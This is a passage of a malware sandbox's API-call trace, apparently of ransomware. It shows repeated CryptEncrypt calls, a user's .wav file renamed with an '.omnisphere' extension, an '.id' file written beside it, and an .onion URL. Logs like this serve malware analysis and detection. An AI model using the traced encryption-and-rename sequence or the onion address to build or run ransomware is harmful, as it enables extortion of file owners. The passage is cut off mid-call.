pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.875] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.876] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.876] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.876] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.876] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.876] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.876] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.876] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.876] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.876] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.876] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.876] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.876] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.876] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.876] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.876] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.876] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.876] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.876] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.876] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.876] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.876] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.876] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.876] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.877] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.877] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.877] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.877] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.877] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.877] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.877] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.877] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.877] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.877] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.877] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.877] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.877] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.877] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.877] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.877] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.877] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.877] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.877] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.877] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.878] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.878] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.878] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.878] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.878] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.878] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.878] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.878] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.878] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.878] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.878] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.878] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.878] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.878] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.878] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.880] CryptDestroyKey (hKey=0x1639868) returned 1 [0068.880] CryptReleaseContext (hProv=0x163c520, dwFlags=0x0) returned 1 [0068.880] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xabc4, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0068.880] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0068.880] GetProcessHeap () returned 0x1600000 [0068.880] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x28a) returned 0x1658950 [0068.880] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\STG7KypQe_U5z55v6.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\stg7kypqe_u5z55v6.wav"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\STG7KypQe_U5z55v6.wav.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\stg7kypqe_u5z55v6.wav.omnisphere")) returned 1 [0068.883] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\STG7KypQe_U5z55v6.wav.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\STG7KypQe_U5z55v6.wav.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\STG7KypQe_U5z55v6.wav.omnisphere.id" [0068.883] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\STG7KypQe_U5z55v6.wav.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\stg7kypqe_u5z55v6.wav.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0068.883] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0068.905] CloseHandle (hObject=0x3a8) returned 1 [0068.906] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0068.906] CloseHandle (hObject=0x3a4) returned 1 [0068.906] SetEndOfFile (hFile=0x3a0) returned 1 [0068.906] FlushFileBuffers (hFile=0x3a0) returned 1 [0068.910] CloseHandle (hObject=0x3a0) returned 1 [0068.910] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\STG7KypQe_U5z55v6.wav" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0068.910] GetProcessHeap () returned 0x1600000 [0068.910] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1658be8 [0068.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 